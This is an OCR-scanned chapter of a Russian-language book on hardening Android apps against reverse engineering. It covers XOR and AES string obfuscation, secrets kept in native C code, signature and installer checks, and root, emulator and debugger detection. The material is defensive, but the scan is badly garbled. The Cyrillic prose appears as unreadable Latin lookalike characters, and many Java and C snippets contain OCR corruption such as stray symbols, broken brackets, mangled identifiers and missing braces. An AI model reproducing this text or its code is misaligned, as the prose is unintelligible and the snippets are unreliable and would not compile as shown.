HieM omnepaumio Hckmoyawowmero «MJIM». B pesynerare nomyyaeM 3akoaupOBaHHYIO
¢ moMompio XOR cTpoky, KOTOpPYIO MOXHO pacKOAHUpPOBaTh, BHOBb MPHUMEHHB HCKIIIO-
yaomee «MJIM». B konge 3T0 Bce MOXKET BBHIMNIANETh NMPUMEPHO Tak (Co3daHTe Kiacc
StringXOR M IOMECTHTE B HETO 3TH METO/BI):

// KompyeM CTPOKY
public static String encode (String s, String key) {
return Base64.encodeToString (xor (s.getBytes(), key.getBytes()), 0);

}

// Dexompyem éTpoxy
public static String decode (String s, String key) {

return new String(xor (Base64.decode (s, 0), key.getBytes()));
}

// Cama onepaums XOR
private static byte[] xor (byte[] a, byte[] key) {
byte[] out = new byte[a.length];
for (int i = 0; i < a.length; i++) {
out[i] = (byte) (al[i] ” key[i%key.length]);
}
return out;

}

IIpunymaiite BTOpyto CTpPOKy (K/THO4) U 3aKOAUPYHTE C €€ MOMOLIbIO CTPOKH, KOTOpBIE
BBl XOTHUTE CKpBHITH (A8 MpuUMepa MYCThb 3TO OyOyT CTPOKH passwordl H password?,
KJTIOY 1234):

String encodedl = StringXOR.encode ("passwordl", "1234");
String encoded? = StringXOR.encode ("password2", "1234");
Log.e ("DEBUG", "encodedl: " + encodedl);
Log.e ("DEBUG", "encoded2: " + encoded2);

ITocne otkpeiTus Android Monitor B Android Studio BbI yBUOHTE CTPOKH BHAA:

encodedl: RVRCRQ==
encoded?: ACHBDS==

3TO U ecTh 3aKOAHPOBAHHBIE C MOMOILIBIO XOR OpPHruHaJIbHbIE€ CTPOKH. HOﬁaBBTe HX
B KO BMECTO OPHIrHHAJIbHBIX, a MPH JOCTYIE K CTPOKaM HCl'lOJ'lL3yﬁT8 CI)yHKuPIlO JECKO-
AUPOBAHHUA:
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String passwordl = StringXOR.decode (encodedPasswordl, "1234");

Bnaromaps atoMy MeTomy cTpokH He 6yQyT OTKPBITO JIeXaTh B KOAE NMPHJIOKEHHS, OJHA-
KO pacKOAMpOBaTh MX TOXE HE COCTAaBUT TPyHda, TaK YTO BCELIENIO MOJaraTbCs Ha 3TOT
MeTo[ He CTOMT. [la H KJIIoY TOXKe NPHIETCA KaK-TO MpATATh.

Wugppyem cTpoku

Haubonee HapexHsIl cnocob cKpeiTh CTPOKH — 3amudpoBath ux. Coenatb 370 MOX-
HO pa3HbIMH croco0aMH, Hampumep HCNons3ys HHCTpyMeHThl Stringer (https:/
jfxstore.com/stringer/) wnu DexGuard (https://www.guardsquare.com/dexguard).
[IpeuMyLIECTBO: MOJHOCTBIO ABTOMAaTH3HPOBaHHas MOOU(HUKALMUA YK€ HMEIOoLIerocs
KOIa ¢ LeNblo BHeIOpeHus wupoBaHusa cTpok. Hemoctatok: LieHa, KOoTopas AOCTYNHa
KOMITAHHAM, HO CJIMILKOM BBICOKA JUI1 HE3aBUCHMOTO pa3paboTuHKa.

[Tostomy MBI nmonpobyeM oboiiTHch cBOMMH cuilaMu. B mpocrefiieM ciyvae wugpoBa-
HHE CTPOK CpeAcTBaMH Java BHINOJHAETCS Tak:

public static byte[] encryptString(String message, SecretKey secret) throws Exception

{

Cipher cipher = null;

cipher = Cipher.getInstance ("AES/GCM/NOPADDING") ;
cipher.init (Cipher.ENCRYPT MODE, secret);

return cipher.doFinal (message.getBytes ("UTF-8"));

A pacundpoBka Tak:

public static String decryptString(byte[] cipherText, SecretKey secret) throws
Exception {

Cipher cipher = null;

cipher = Cipher.getInstance ("AES/GCM/NOPADDING") ;

cipher.init (Cipher.DECRYPT MODE, secret);

return new String(cipher.doFinal (cipherText), "UTF-8");

Jns reHepauuM Kiroya J1OCTaTOYHO OJHOM CTPOKH:

public static SecretKey generateKey() throws Exception {
KeyGenerator keyGen = KeyGenerator.getInstance ("AES");
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keyGen.init (128);
return keyGen.generateKey();

ITmoc ¢yHKUMH 1)1 nepeBoa Kl0Ya B CTPOKY H 06paTHO:

public static String keyToString(SecretKey secretKey) {
return Base64.encodeToString (secretKey.getEncoded (), Base64.DEFAULT) ;

public static SecretKey stringToKey(String stringKey) {
byte(] encodedKey = Base64.decode (stringKey.trim(), Base64.DEFAULT) ;
return new SecretKeySpec(encodedKey, 0, encodedKey.length, "AES");

Tak xe kak u B cay4ae ¢ XOR'oM, no6aBeTe Kyqa-HHOYAb B Ha4yalo MPHIOXKEHHA KOJ,
FeHEepHPYIOIIMH K04, a 3aTeM BBHIBOAALLMH €ro B KOHCOJIb C MOMOILBIO Log (B MpHMepe
Nopa3yMeBaeTcs, YTO Bce KpunrorpaduueckHe (yHKLUMH MBI Pa3MECTHIH B Kjacce

Crypto):

try {

SecretKey key = Crypto.generateKey();

Log.e ("DEBUG", "key: " + Crypto.keyToString(key)):;
catch (Exception e) {}

Ha 3KpaHE€ Bbl YBHIHMTE K/IKOY, C NMOMOIUBKO KOTOPOro CMOXKETE 3amn(bpona‘rb CTPOKH
H TOYHO TakK >X€ BBIBECTH HX B KOHCOJIb:

// Baw kimou

String key = "...";

SecretKey secretkey = stringToKey (key);

// limppyemas cTpoka

String password = "test";

// IbpyeM u BHBOMM Ha 3KpaH

byte{] encrypted = encryptString(password, secretkey);

Log.e ("DEBUG", "password: " + Base64.encodeToString(encrypted, Base64.DEFAULT));

Tak BBl MOJMy4HTe B KOHCOJNb 3alIM(pOBaHHYIO CTPOKy. [lanee yke B TakoM BHIE BBI
CMOXeTe BCTaBHTh €€ B KOJ NMPHIIOXKEHHS H pacliH(poBBIBaTH Ha MecTe:



252 YACTH lll. nasa 16

"

String key = "...";
String encryptedPassword = "...";
SecretKey secretkey = stringToKey (key);

String password = decryptString(Base64.decode (encodedPassword, Base64.DEFAULT),
secretkey) ;

"

YroOs! ewe Gonblie 3amyTaTh peBepcepa, Bbl MOkeTe pa3OMTh KJIIOY M Maposib Ha He-
ckonbko yacteit U «moXORute» ux. I[Tpu BrmoveHHoMm ProGuard Takoii MeToa mpeBpa-
THT BeChb TBO# Ko cOOPKH M pacluM(ppOBKH CTPOK B 3aMyTaHHYIO MELIAHHHY, B KOTOPOH
¢ Hackoky Oynert He pazobpaTbcs.

CoseThI NO UCNONbL3OBAHUIO WUPPOBAHUA

EcTb HECKOJIBKO COBETOB, KOTOPBIX JIyYLl€ MPHAEP>KUBATHCSA MPH WH(POBAHUH.

He ucnoan3yiite AES B pe:xxume ECB. [To ymonuanuro Android (u Java) ucnonesyer
pexxum ECB npu mmdposannu no anropurmy AES. [Ipobnema pexxuma ECB cocrout
B TOM, YTO OH MOXeT packpeITh noapobHocTH (https://blog.filippo.io/the-ecb-penguin/)
3amu¢poBaHHOH HHGopMauuu. Bmecto Hero cneayer ucnonb3oBaTh pexxumbl CBC
n GCM:

// Kak Hamo [henaTb
Cipher.getInstance ("AES/GCM/NOPADDING") ;

// Kak He Hamo HenaTb
Cipher.getInstance ("RES");

Bceraa ncnoan3yiite cay4aiinbii IV:

// Kak HaQo menaThb

SecureRandom secureRandom = new SecureRandom();

byte[] iv = new byte[IV LENGTH];

secureRandom.nextBytes (iv) ;

myCipher.init (Cipher .ENCRYPT MODE, key, new IvParameterSpec(iv));

// Kak He Hamo IenaTh
myCipher.init (Cipher.ENCRYPT MODE, key);
byte[] iv = myCipher.getIV();

3anoaHsailiTe BaXkHble MACCHBBI HYJIAMH NOC/I€ HCNOJIb30BAHHA. Bl MOoxeTe 3a0bITh
OYHUCTHThL MACCHB, co,uepxcamnﬁ KJIKO4Y, H B3JIOMIIHK BOCIHOJIB3YETCA I3THM, YyTOOBI H3-
BJIEYDb KJIFOY HarnpsamMyro M3 OﬂepaTHBHOﬁ NnaMAaTH:
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byte{] decrypt (byte[] dataToDecrypt, byte[] secretKey) {
// PacumdpoBeBaEM IaHHLE

// OwmaeM Koy
Arrays.fill (secretKey, (byte) 0);
return decryptedData;

XpaHum AaHHbIE B HATUBHOM KoAe

HakoHell, caMblif XapaKOpPHBIH M 1€HCTBEHHBIH METOM CKPbITHA JaHHBIX — HX pa3Mellle-
HHE B HaTHBHOM Koie. A eciii ObITh TOYHBIM, B KOJE, KOTOpbIH KOMIMHIHpYETCS HE
B Jierko AekoMmnuiaupyemsiii Gaiit-kon DEX, a B uHctpykuun ARM/ARM64. Pa3obparts
TaKOH KOJ HAMHOIO CJIOXKHee, JEKOMITHIIATOPOB Ul HErO HET, caM Au3acceMOIHpoBaH-
HbIH KOJ TPYJEH [UIf YTEHHA W MOHHMaHHUs U TpebyeT NeHCTBHTENBHO HETUIOXHX HaBbl-
KOB OT peBepcepa.

B Android, xak u B ciiyyae ¢ HacToJbHOH Java, HATHBHBIH KO OOBIYHO MHUILYT Ha A3bIKaX
C mnu C++. Tak yro ang Hawei 3anauu Mbl BbibepeM s3bik C. [ng Hauyana HanMiieM
KJ1acc-00epTky, KoTopbiii OydeT BbI3bIBaTh Hall HATHBHBIA koJ (a2 uMeHHO ARM-6u6-
JIHOTEKY ¢ peann3aLedl GyHKLHH getPassword () ):

public class Secrets {
static {
System.loadLibrary ("secret");

}
public native String getPassword();

Tena camoii pyHKLUHMH B KOZie HET, oHO OynaeT pacnonaratecs B HamMcaHHOH Ha C 6u6-
navoteke (MoA Ha3BaHHEM secret). Temepb co3naiTe BHYTPH KaTalOXHOH CTPYKTYphI
MpoeKTa MoAKaTalor jni, co3aiTe B HeM ¢aii ¢ HMMEHEM secret.c H MOMECTHTE B HETO
ClielyIOLIHE CTPOKH:

#include <string.h>
#include <jni.h>

jstring Java_com example secret Secrets getPassword(JNIEnv* env, jobject javaThis) {
return (*env)->NewStringUTF (env, "password");
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310, Tak cKa3aTh, pedepeHCHbIH BapHaHT OHONHOTEKH, KOTOpas MPOCTO BO3BpALIAeT
o6paTHO CTpOKY password. UTo6s1 Android Studio moHsn, kak 3Ty 6HOMHOTEKY CKOMITH-
JIMpOBaTh, HAM HY)XXEH Makefile B TOM k€ KaTajore:

LOCAL PATH := $(call my-dir)

include $(CLEAR VARS)

LOCAL_MODULE:= secret
LOCAL_SRC_FILES := secret.c

include $(BUILD SHARED LIBRARY)

3TO HHCTPYKUHMA MO KOMIHIAUMH Qaiina secret.c B OMHapHbIH (OuOMHOTEUHBIH) daiin
secret.so. B 11e710M 3T0 Bce. 3a OIHHM HCKIIOYEHHEM: XOTA caMy HaTHBHYIO OHOnHOTEKY
pa3obpath OyneT clioXKHO, )11 U3BJIEYEHHS M3 Hee MapoJis JOCTATOYHO AocTaTh OHOIHO-
TeKy U3 apk-¢aiina H IpUMEHHTH K Heit KOMaHAy strings (B Linux-cucremax):

$ strings secret.so

password

A BOT €CJIH NPUMEHHTh K HeH Bce ONMHCaHHbIE Bbille TEXHHKH pa3bueHHs ctpokd, XOR,
wHdpoBaHHE H T. I., BCE CTaHET HAMHOIO CJIOXHEe, H Mbl cpady OTOObEM jkKelaHHe
KOBBIPATb CBOE MpHiokeHHe Y 99% pesepcepoB. OnHaKoO U MHUCATh BCE 3TH TEXHHKH 3a-
LIMTHI NpuaeTca Ha a3bikax C/C++.

«KPGI.I.IVIM» UuMmeHeHHoe npunoxeHue

.Ewme oauMH Meton 3allMTHI MPHIOXKEHHA — CHENaTh TaK, YTOObI €ro HEBO3MOXHO ObLIO
3aIyCTHTh NMPH H3MEHEHHH. PeBepcep MOXXET H3MEHHTH MPHIIOXKEHHE, YTOOBI BKJIIOUHTH
¢nar otnaaku, BHeApUTH B Hero ramket Frida u mpocto caenath niaTHoe npuioXxeHHe
6ecrnatHeiM. Ho kak moHATh, ObUTO MM MpUIokeHHe B3noMaHo? ToyHee, Kak OHO CaMo
MOXET 3TO BBIACHHTH? Beap MOHATHA «B3JIOMAHHOE» H «HEB3JIOMAHHOE» CYILECTBYIOT
TONBKO B HAalIHX COOCTBEHHBIX rONOBaX, T. €. 3TO MOHATHA JOCTaTOYHO BBICOKOTO MOpsAI-
Ka, KOTOpbI€ HE OMHCATh AITOPHTMHYECKH.

Taxk-To oHo, na He Tak. Jleno B ToM, uto BHYyTpH naketa APK ectb Habop MeTanaHHBIX,
KOTOpbI€ XpaHAT KOHTPOJIbHBIE CyMMBI aGCOMIOTHO Bcex (aiinoB makera, a caMH MeTa-
JaHHbIE MOIMHCaHBI KIIOYOM pa3paborurka. EciH H3MEHHTh NMpHIOXKEHHE H BHOBb €ro
3anakoBaTh, TO METaJlaHHBIE MAKETa H3MEHATCA H MaKeT NMPHIETCS MOAMHCHIBATH 3aHOBO.
A T. k. KI04a pa3paboTurka y peBepcepa HeT (M ObITh HE MOXET), OH HCMOJIB3yeT JTHO0
clly4alHO creHepHpOBaHHbBIH, JIHOO Tak Ha3biBaeMblit TecToBbli KMo4. CaM Android Ta-
KO€ TMpPHJIOXKEHHE CIIOKOMHHO MpOrIoTHT (OH He JepxHT 6a3y Bcex LMGPOBBIX moamucei
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BCeX BO3MOXKHBIX Android-pa3paboT4nkoB), HO y Hac-To ecTb CBOS LHGPOBas MOIIHCH,
U MBI MOXKEM €€ CBEPHTB !

Ceepsem UM@PpPOBYIO NOANMUCH

Meron 10BONBHO MPOCTO. BaM HEOGXOAMMO BCTAaBUTH B NPHIOKEHHE KOH, KOTOPbIM
Oyner mony4yarh Xem KiIo4a TeKylied LH(poBoi MOANHCH makera, U CPaBHHUBATH €ro
¢ paHee coxpaHeHHbIM. COBNagaloT — NMpPHIOXKEHHE He ObLIO MepenakoBaHo (M B3lIOMa-
HO), HET — ObeM TpeBory.

Jna Hauyana BcTaBbTe ClEAYIOUIMH KyCOK KOAa B NpHIOXeHHe (ueM riybxke Bbl €ro
3anps4eTe, TeM JIy4lle):

public static String getSignature (Context context) {
String apkSignature = null;

try {
PackageInfo packageInfo =
context.getPackageManager () .getPackageInfo (context.getPackageName (),
PackageManager.GET SIGNATURES) ;

for (Signature signature : packagelInfo.signatures) {
MessageDigest md = MessageDigest.getInstance ("SHA");
md.update (signature.toByteArray());
apkSignature = Base64.encodeToString(md.digest (), Base64.DEFAULT);
Log.e ("DEBUG", "SIGNATURE: " + apkSignature);
}
} catch (Exception e) {}

return apkSignature;

Cobepure, 3amycTHTe NMPHIOKEHHE M NOCMOTPHUTE JIOT UCTONHEHHA. TaM BBl yBHAMTE
CTPOKY SIGNATURE: 478uEnKQU+fMQT8Dy4AKvHkYibo=. OTO H ecTh xew. Ero Heobxoaumo He
TPOCTO 3aMIOMHHTB, a TIOMECTHTh B KOJI IPHIIOXKEHHS B BUE KOHCTAHTEI, HAIPHMEP, TI0N
nMeHeM SIGNATURE. Tenepb y6epure cTpoKy Log.e ("DEBUG", "SIGNATURE: " + apkSignature);
U3 Koza ¥ fo6aBbTe CleayOIHH METON:

public static boolean checkSignature (Context context) {
return SIGNATURE.equals (getSignature (context));

}

OH Kkak pa3 u Oyner cBepATb COXpPaHEHHBIH Xelll C XelleM KJIoYa, KOTOPhIM B JaHHBIH
MOMEHT MOANHUCaHO NMpuiokeHHe. DyHKLUS BO3BpALLAET true, €CIH LUHUGPOBas MOIMHCH
BaJIMHA (MpHIOKEHHE He 6bUT0 nepecobpaHo), U false — €CJIH OHO MOABEPIIIOCH MOJH-
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¢ukauuy. Yro nenath Bo BTOPOM cliyyae — peluaTh BaM. Bel MojxkeTe npocTo 3aBepLUMTh
MPHUIIOXKEHHE C NMOMOLLBIO os.exit (0) JIHOO «YPOHHTB» €ro, HaNpUMep, BbI3BaB METO. He-
MHHLHMAIH3HPOBaHHOrO 00bEeKkTa MM OOpaTHBIUIMCh K HECYILECTBYIOILIEMY 3HAYEHHIO
MaccHBa.

Ho 3anomHHTE: B3IOMILMK MOXET MPOCTO BBIPE3aTh Balll KOJ CBEPKH LIM(POBOH moanu-
CH, U OH HHMKOrza He cpaboTaeTt (3TO CrpaBeUIMBO U B OTHOLUEHHH KOJa, MPHBEIEHHOTO
nanee). [ToatoMy cnpsA4ybTe €ro B HEOUEBHIHOM MECTE, a X€lll OPMIMHATBHOIO KJIKOYa
samndpyite, kak ObUTO MOKa3aHo Bhille (puc. 16.2).

Fie Edt view Ravigate Cc 2 tor Build Rgn
DR ¢4 X0 a3 02 ap

CaAnTrack [Rapp [sc Camain [

. o Arirow 0 F [ @manactivityjava x ) Checks fava

Puc. 16.2. UckomMbir xeww knw4a

Ewe oauH cnocob cnpsAtate Ko CBEpKH LM(POBOi MOANHCH — BBIHECTH €ro B HaTHB-
Hyto 6ubnmoreky. 3toT moaxox mnoapoOHO paccMaTpuBaeTcs B cTtathe Yet another
temper detection in Android (https://darvincitech.wordpress.com/2020/03/01/yet-
another-tamper-detection-in-android/). Bmecto API Android-npemnoxenHas 6u6auo-
Teka HCIMONb3yeT KyCTapHble CPEACTBa CBEPKH LM(POBOH Moanucky (B YaCTHOCTH, KOI
n3 6ubnuorek libzip u mbedtls). Taoke B 6ub1HOTEKE MPUMEHEH PAI CPEACTB 3ALUMTHI OT
peBepca, TakKUX Kak COOCTBEHHblE peann3alMy GYHKLUMH libc M MO3aHMCTBOBAaHHBIN M3
OpenSSL cnoco6 onpenenenus ¢akra usMeHeHHs koaa 6UOIHOoTEKH.

IMocnenuuii paboraer Tak: npu cbopke B CEKLMH text (COOEPMKHT KOO) U rodata (comep-
XHT KOHCTaHTBI, BKJIOYas Xelll cepTH(HKaTa) BCTABIAIOTCA ClELHATIbHBIE MapKephl, KO-
TOpbIE MOMEYAIOT HaYyalo M KOHell cekUHH. [lanee ans naHHbIX MeXIy 3TUMH MapKepaMH
Beiyucnsercs HMAC u 3anuceiBaeTcs B CEKLHMIO JaHHBIX. Bo Bpems BbI30Ba ¢yHKLUMH
CBepkH LMGPOBBIX MoAnucer 6ubanoTexa NpoBepAeT COOCTBEHHYIO LIEIOCTHOCTE C MO-
moubsto HMAC. UcxoaHslii kon 6ubnnorexn MoxHo Haiiti Ha GitHub aBTopa no agpecy
https://github.com/darvincisec/DetectTamper.
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TTposepsemM UCTOUHUK yCTAHOBKW

Ewe oauH Meton 3aliMThl — BBIACHHUTD, OTKYda OBLITO YCTAaHOBJIEHO IMPHJIOXKEHHE. 3T0
MOX>XHO CA€J1aTh B OAHY CTPOKY, a CaMa beHKI.[Hﬂ MOXET BbITJIAACTh TaK:

public static boolean checkInstaller (Context context) {

final String installer =
context.getPackageManager () .getInstallerPackageName (context.getPackageName () ) ;

return installer != null && installer.startsWith("com.android.vending");

3awmTta OT pesepca U OTNAAKU

[ToMHMO 3aLMTBI OT MEPENaKOBKH, MPHIOXKEHHE MOXHO OCHAaCTHTh (PyHKUHAMH OOHa-
py>xeHus aebarrepos, oTaanuukoB, Frida, mpaB root Ha ycTpokcTBe. [[pyrumMu cioBaMH,
cenaTth Tak, 4YToObl MPHJIOXKEHHE MPOCTO YMENIO pearupoBaTh Ha MPHCYTCTBHE CPEACTB
peBepca B CHCTEME H JTMO0 CKpPBIBAJIO CBOKO HCTHHHYIO (YHKLIMOHAJIBHOCTB, THOO MpOCTO
OTKa3bIBaoch paboTaTh.

Root

ITpaBa root — oaMH U3 rJIaBHBIX HHCTPYMEHTOB peBepcepa. Root mo3Bosser 3amyckarh
Frida 6e3 maTunHra npuaoxeHHH, Hcrnoab3oBaTh MoayaH Xposed a1 U3MEHEHHs MOBe-
J€HUS NPHIOXKEHHSs U TPEeHCHHra NpHIOKEHHH, MEHATh HH3KOYPOBHEBbIE IMapaMeETPhI
cucTeMbl. B 11e10M HanMuHMe root YETKO rOBOPHT O TOM, YTO OKPYXXEHHIO MCIOJIHEHHA
JIOBEPATDH HEJb3s, HO KaK ero 0OHapyHTh?

Camblii mpocToH BapHaHT — MOMCKaTh UCMOIHAEMbIH (ail su B OHOM M3 CHCTEMHBIX
KaTaJoro.:

/sbin/su;
/system/bin/su;
/system/bin/failsafe/su;
/system/xbin/su;
/system/sd/xbin/su;
/data/local/su;
/data/local/xbin/su;

QoOoooaoaoan

/data/local/bin/su.

BuHapHHK su Bcerja MpHCYTCTBYeT Ha PYTOBaHHOM YCTPOHMCTBE, BEb HMEHHO C €ro
MOMOILBIO MPHJIOKEHHs MOJy4aloT npasa root. HalTH ero MoxxHo ¢ MOMOLUBIO MPHMH-
THBHOTO KoJa Ha Java:
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private static boolean findSu() f{
String[] paths = { "/sbin/su", "/system/bin/su", "/system/xbin/su",
"/data/local/xbin/su", "/data/local/bin/su", "/system/sd/xbin/su",
"/system/bin/failsafe/su", "/data/local/su" };

for (String path : paths) {
if (new File(path).exists()) return true;

}

return false;

To ke caMoe MOXKHO czenaTh ¢ MOMOLUBIO QYHKLHH Ha a3bike C, N03aMMCTBOBaHHOH M3
npunoxeHus rootinspector (https://github.com/devadvance/rootinspector/):

jboolean Java com example statfile(JNIEnv * env, jobject this, jstring filepath) {
jboolean fileExists = 0;
jboolean isCopy;
const char * path = (*env)->GetStringUTFChars (env, filepath, &isCopy):
struct stat fileattrib;

if (stat(path, &fileattrib) < 0) {

__android log print (ANDROID LOG DEBUG, DEBUG TAG, "NATIVE: stat error: [%s]",
strerror (errno));

} else

{
__android log print (ANDROID LOG DEBUG, DEBUG_TAG, "NATIVE: stat success,
access perms: [%d]", fileattrib.st mode);

return 1;

return 0;

Eiwue oauH BapuaHT — nonpo6oBaTh He MPOCTO HAMTH, a 3aMyCTHTh OMHAPHHK su:

try {
Runtime.getRuntime () .exec("su");
} catch (IOException e) {
// TenedoH He pyTOBaH

Ecnu ero Her, cucteMa Boigact IOException. Ho 3necs HyxkHO 6BITh OCTOPOXHBIM: €CITH
YCTPOMCTBO BCE-TaKH MMEET MpaBa root, Moib30BaTeNb YBHAHT Ha 3KpaHe 3ampoc 3THX
CaMBbIX Mpas.
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Eme oauH BapHaHT — HaWTH Cpelu YCTAaHOBJIEHHBIX Ha YCTPOMCTBO MpPHJIOKEHUH
MeHekep npas root. OH kak pa3 U OTBEYaeT 3a [0Ka3 AHaJIora NpeoCTaBIeHH NPaB:

com. thirdparty. superuser;
eu.chainfire. supersu,
com.noshufou.android. su;
com.koushikdutta.superuser;
com. zachspong. temprootremovejb;

com.ramdroid.appquarantine;

aoooaoaan

com. topjohnwu.magisk.

J1a morcka MOXKHO MCIOJIB30BaTh TAKOH METOA:

private static boolean isPackageInstalled(String packagename, Context context) {
PackageManager pm = context.getPackageManager () ;
try {
pm.getPackageInfo (packagename, PackageManager.GET ACTIVITIES);
return true;
} catch (NameNotFoundException e) {
return false;

ITorck MOXKHO BECTH M MO KOCBEHHBIM mpu3Hakam. Hanpumep, SuperSU, GbiBiumii He-
KOTZla MOMyJISAPHBIM pELUEHHEM [UIA TMOJYYeHHs MpaB root, HMeeT HECKOJBKO (aiiyioB
B ¢aiinoBoi cucteMme:

O /system/etc/init.d/99SuperSUDaemon;
0 /system/xbin/daemonsu - SuperSU.

Eie oauMH KOCBEHHBIH MPH3HAaK — MPOLUMBKA, MOAMHUCAHHAA TECTOBBIM KJIHOYOM. JTO HE
BCET/la CBUAETEILCTBYET O HAJIMYHMH root, HO TOYHO FOBOPHUT O TOM, YTO Ha YCTPOHCTBE
YCTaHOBJIEH KaCTOM:

private boolean isTestKeyBuild() {
String buildTags = android.os.Build.TAGS;
return buildTags != null && buildTags.contains("test-keys"):

AMmynaTop

PeBepcepbl 4YacTO HCMNOJIB3YKOT SMYIIATOP AJIA 3aIlyCKa IMOAOMNBITHOIO NMPHIIOKECHHS. Ilo-
3TOMY HE€ JIMINHHM 6leeT BHECTH B INPHIIOKECHHUE KO, nposepmomm‘fl, HE 3anyL€HO JIH
OHO B BPlpTyaJ'IbHOﬁ cpeae. Chenatb 3TO MOJXKHO, NMpO4YHUTAB 3HAYCHHE HEKOTOPBIX CHC-



260 YACTb Ill. Fnaea 16

TEeMHBIX nepeMeHHbIX. Hanpumep, craHaaptHbiid aMynatop Android Studio ycraHaBnu-
BAeT TaKHe NepeMeHHbIE U 3HAYEHHUA:

ro.hardware=goldfish
ro.kernel.gemu=1
ro.product.model=sdk

HqumaB HX 3HAYE€HHA, MOXKHO MPEAIOJIO0XHTDb, YTO KOO HCIIOJIHAETCA B SIMYJIATOPE:

public static boolean checkEmulator() {
try {
boolean goldfish = getSystemProperty("ro.hardware").contains ("goldfish");
boolean emu = getSystemProperty("ro.kernel.gemu").length() > 0;
boolean sdk = getSystemProperty("ro.product.model").contains ("sdk");

if (emu || goldfish || sdk) {
return true;
}
} catch (Exception e) {}

return false;

private static String getSystemProperty(String name) throws Exception {
Class sysProp = Class.forName ("android.os.SystemProperties”);

return (String) sysProp.getMethod("get", new
Class[] {String.class}) .invoke (sysProp, new Object[]{name});

}

OOpatuTe BHUMaHHeE, YTO KJIAcC android.os.SystemProperties — CKpPBIThIA U HE AOCTYNEH
B SDK, no3atoMy a/1s obpaieHus K HEMY Mbl HCIIOJIb3yeM pediiekcHio.

B npyrux sMynaTopax 3Hau€HHs CHCTEMHBIX MepeMeHHbIX MoryT ObiThb Apyrumu. Ha
CTpaHHLe

https://mobile-security.gitbook.io/mobile-security-testing-guide/android-testing-
guide/0x05j-testing-resiliency-against-reverse-engineering#emulator-detection-
examples

ecTh TabJKLA CO 3HAYEHHUAMH CHCTEMHBIX NIEPEMEHHBIX, KOTOpPbIE MOTYT NMPAMO HJIH KOC-
BEHHO YKa3biBaThb Ha 3MynsTop. Tam ke npHuBeneHa TabnMua 3Ha4YeHHH cTeka Tenedo-
Hud. Hanpumep, cepwmiinbiii HoMep SIM-kaptei 89014103211118510720 oaHo3Ha4HO
yKa3bIBaeT Ha 3MyJNATOp. MHOrHe cTaHOapTHbiE 3HAY€HHA, a TaKXkKe roToBbie (PYHKLUHH
JUIS IETEKTa IMYJIATOpa MOXHO HaHTH B 3TOM HCXOAHOM (aiine:

https://github.com/strazzere/anti-emulator/blob/master/AntiEmulator/src/diff/
strazzere/anti/emulator/FindEmulator.java.
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OTtnaauuk

OnuH M3 MeToNoB peBepca — 3aMyck MPHIOKEHHS MOJ YNpaBlIeHHEM OTJIaAuyHKa.
B3noMimk MoXeT AeKOMIMIMpOBaTh Ballle MPUIIOXKEHHE, 3aTeM co3aate B Android
Studio OHOMMEHHBIH NMPOEKT, 3aKHHYTh B HETO MOJYYEHHbIE WCXOAHWKH M 3aMyCTHTb
npouecc OTJaJKH, He KOMIHIHPYS NpoekT. B 3ToM ciyyae npuiiokeHHe caMO MOKaXeT
€My CBOIO JIOTHKY paboThl.

YT1oObl MpoBEepHYTh TakoHW (WHT, B3JOMILUMKY MpHIAETCA MepecobpaTh MpHIOKEHHE
C BKJIFOYEHHBIM ¢1aroM oTIajiku (android:debuggable="true"). [I03TOMy HauBHBIi crocob
3alUMTLI COCTOMT B NMPOCTOH NMpoBepke 3Toro ¢uiara:

public static boolean checkDebuggable (Context context) {
return (context.getApplicationInfo().flags & ApplicationInfo.FLAG DEBUGGABLE) != 0;

Yyt Oonee HamexHbIH Crnocod — HAMpSIMYKO CIPOCHTb CHCTEMY, MOJAKIIOYEH JIK OT-
Na4uK:

{;.v‘a‘

public static boolean detectDebugger() f{
return Debug.isDebuggerConnected() ;

To >xe caMoe B HATUBHOM KOJ€E:

JNIEXPORT jboolean JNICALL Java com test debugging DebuggerConnectedJNI (JNIenv * env,
jobject obj) {
if (gDvm.debuggerConnected || gDvm.debuggerActive) {
return JNI TRUE;

}
return JNI FALSE;

[TpHBeieHHbIE METOBI MOTYT ObITh HCNOJIB30BaHbI 17151 OOHApY>Ke€HHS OTIaI4yHKa Ha 6a3e
nporokona JDWP (kak pa3 Tot, uto BcTpoeH B Android Studio). Ho apyrue otnaguuku
pabotatoT no-apyromy, U Metoabl 60psObl ¢ HUMH OyayT apyrumu. Otnaguuk GDB,
HanpuMep, MCMoNb3yeT CUCTEMHBIH BBI30OB ptrace () AJIS MOJYyYEHHsS KOHTPOJS Hal Mpo-
ueccoM. A cneICTBHEM HCMOJIb30BaHHS ptrace CTAHET U3MEHEHHE ¢ulara TracerPid B CHH-
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TeTHYeCKOM Qaiine /proc/self/status ¢ Hyna Ha PID ornamumka. IlpounTaB 3HaueHHe
¢nara, Mbl y3HaeM, MOAKITIOYEH JIH K MPHIOKEHHIO oTianyuk GDB:

public static boolean hasTracerPid() throws IOException {
BufferedReader reader = null;

try {
reader = new BufferedReader (new InputStreamReader (new
FileInputStream("/proc/self/status")), 1000);

String line;

while ((line = reader.readLine()) != null) {
if (line.length() > tracerpid.length()) {
if (line.substring(0, tracerpid.length()).equalsIgnoreCase (tracerpid)) f{

if (Integer.decode (line.substring(tracerpid.length() + 1).trim()) > 0) {
return true;

}

break;

} catch (Exception exception) {
e.printStackTrace ()

} finally {
reader.close() ;

return false;

310 cnerka MoaudHuHpoBaHHas (GYHKUHA W3 penosuTopus anti-emulator (https:/
github.com/strazzere/anti-emulator/). Ee ananor Ha s3bike Cu Gyner HeTpyaHO HalTH
Ha StackOverflow.

Ewe ongun Meron 60ps0bl ¢ OTnamyMkaMH, OCHOBAaHHBIMH Ha ptrace, — MONpPOOOBaTh
HNOJKITIOYHTBCA K caMoMy cebe (mpoueccy NpHIOKEHHS) B pPOJH OTJIag4yMka. {nsa 3roro
Hajgo caenatb Gopk (M3 HaTHBHOrO Koja), a 3aTeM MonpoOOBaTh BHI3BaTh CHCTEMHBIH
BbI3OB ptrace.

void fork and attach()
{

int pid = fork();
if (pid == 0)
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int ppid = getppid();
if (ptrace (PTRACE_ATTACH, ppid, NULL, NULL) == 0)
{

waitpid(ppid, NULL, 0);

ptrace (PTRACE_CONT, NULL, NULL);

O6HapyxuTh BcTpoeHHbI# oTnaguuk IDA Pro MoxxHO apyrum cnocoboM: yepe3 MOUCK
CTPOKH 00000000:23946 B ¢(aiine /proc/net/tcp (3TO CTaHAAPTHBIHA MOPT oTiaguuka). K co-
»aneHHIo, HauuHas ¢ Android 9, 3ToT cnoco6 He paboraer.

B crapeix Bepcusax Android Takke pabotan MeToa npsMoOro MoMcka npouecca oTiagyuka
